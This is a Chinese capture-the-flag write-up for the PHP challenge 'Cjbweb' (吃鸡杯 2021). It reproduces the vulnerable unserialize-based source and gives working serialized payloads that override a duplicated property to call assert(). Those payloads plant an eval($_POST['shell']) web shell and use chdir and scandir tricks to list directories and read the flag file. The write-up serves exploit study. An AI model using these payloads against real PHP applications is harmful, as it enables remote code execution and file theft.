Cjbw[吃鸡杯 2021]Cjbweb
感谢jan神出的各种没见过但是很有意思的姿势。
源码:
<?php
$safe="Hack me!";
class Hacker{
public $name="var_dump";
public $msg="Happy to cjb";
public function __wakeup()
{
global $safe;
if(preg_match('/\d|\/|,|\([^()]*\([^()]*\)/',$this->msg)){
$this->name="var_dump";
$this->msg="You look dangerous!!!";
$safe="I think waf is enough.";
}
call_user_func($this->name,$this->msg);
}
public function __destruct()
{
global $safe;
var_dump($safe);
}
}
if(isset($_POST['info'])){
$info=$_POST['info'];
if(preg_match('/s:4:"name";s:\d:"v\w*"/',$info)){
unserialize($info);
}else{
echo "I just love v";
}
}else{
$hacker=new Hacker();
highlight_file(__FILE__);
}
这里题目的意思是我们要用POST方法传进去一个info
参数,要求有/s:4:"name";s:\d:"v\w*"/
这样的字符,这实际上是Hacker
这个类对象进行序列化之后的部分内容,仔细观察发现name
属性的值必须要v
开头才行,题目这样限制的目的是什么呢?我们可以看类里面的操作,在经过一个检查没有包含非法字符之后执行call_user_func($this->name,$this->msg);
这个操作,相当执行$name($msg)
这个函数,因此这个限制的目的是让我们智能执行以v
开头的函数。我们的目的是绕过只能以v
开头函数的限制,下面有两种方法。
类重复属性覆盖
在类里面写两次相同的属性名,后面的属性值会覆盖前面的属性值(注意:类的属性个数记得加一)
example:
利用这点我们可以将name
属性变成我们想要的值,相当于可以执行任意函数。
使用POST或GET绕过限制
接下来既然可以使用任何函数了,那我们就可以尝试去getshell,但经过尝试之后发现系统过滤了执行的函数,不过还是留下了assert()
可以利用。
值得一提的是
assert()
函数在PHP7版本就不能被动态调用了,就像这一题那样,用call_user_func()
去调用是不被允许的。本题的环境是PHP5.6
再看对$msg
属性的限制,这里用\([^()]*\([^()]*\)
这条正则过滤了括号嵌套,因此很难输出函数执行之后的结果,这里的有个非预期解是使用POST或GET进行传参。
?info=O:6:"Hacker":3:{s:4:"name";s:8:"var_dump";s:4:"name";s:6:"assert";s:3:"msg";s:22:"eval($_POST['shell']);";}
这么一来我们就可以通过POST方法进行传参读取文件。
info=O:6:"Hacker":3:{s:4:"name";s:8:"var_dump";s:4:"name";s:6:"assert";s:3:"msg";s:22:"eval($_POST['shell']);";}&&shell=var_dump(scandir('/')); // 输出根目录的内容
info=O:6:"Hacker":3:{s:4:"name";s:8:"var_dump";s:4:"name";s:6:"assert";s:3:"msg";s:22:"eval($_POST['shell']);";}&&shell=show_source("/you_never_know_my_name"); // 输出flag
chdir('..')
返回上一级
题目最后给我们var_dump($safe)
这个变量,实际上是希望能够利用上的,这里我们可以让$safe
变量赋值为我们需要的值,那么输出出来的内容就是想要的,只不过构造这个值需要一点技巧,因为这里过滤了/
,那么我们需要转移到根目录就要另寻僻径。
这里使用chdir('..')
来切换目录,而且能够通过.
来叠加切换目录,成功时返回 TRUE
, 或者在失败时返回 FALSE
。那么我们就可以通过三目运算符配合scandir('.')
来输出目录内容:
info=O:6:"Hacker":3:{s:4:"name";s:8:"var_dump";s:4:"name";s:6:"assert";s:3:"msg";s:57:"$safe=chdir('..').chdir('..').chdir('..')?scandir('.'):''";}
知道flag文件的名字之后就可以file_get_contents()
出来:
info=O:6:"Hacker":3:{s:4:"name";s:8:"var_dump";s:4:"name";s:6:"assert";s:3:"msg";s:85:"$safe=chdir('..').chdir('..').chdir('..').readfile('you_never_know_my_name')";}